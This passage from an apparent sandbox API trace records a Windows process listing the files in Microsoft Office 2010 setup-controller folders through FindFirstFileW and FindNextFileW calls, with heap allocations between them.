ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.324] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.324] GetProcessHeap () returned 0x6a0000 [0169.324] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.324] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0169.324] GetProcessHeap () returned 0x6a0000 [0169.324] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.324] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.325] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.325] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0169.325] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.325] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.325] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.325] GetProcessHeap () returned 0x6a0000 [0169.325] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.325] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0169.325] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0169.326] GetProcessHeap () returned 0x6a0000 [0169.326] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.327] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.327] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0169.327] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0169.327] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0169.327] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0169.327] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1 [0169.328] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0169.328] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1 [0169.328] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0169.328] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0169.329] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0169.329] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0169.329] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.329] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.329] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.330] GetProcessHeap () returned 0x6a0000 [0169.330] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.330] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0169.330] GetProcessHeap () returned 0x6a0000 [0169.330] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.331] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.331] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0169.331] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.331] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.331] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.331] GetProcessHeap () returned 0x6a0000 [0169.331] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.331] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0169.331] GetProcessHeap () returned 0x6a0000 [0169.331] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.331] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.332] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.332] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0169.332] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0 [0169.332] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.332] GetProcessHeap () returned 0x6a0000 [0169.332] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.332] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0169.332] GetProcessHeap () returned 0x6a0000 [0169.332] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.332] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.332] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.333] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0169.333] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.333] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.333] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.333] GetProcessHeap () returned 0x6a0000 [0169.333] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.333] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0169.333] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0169.333] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, 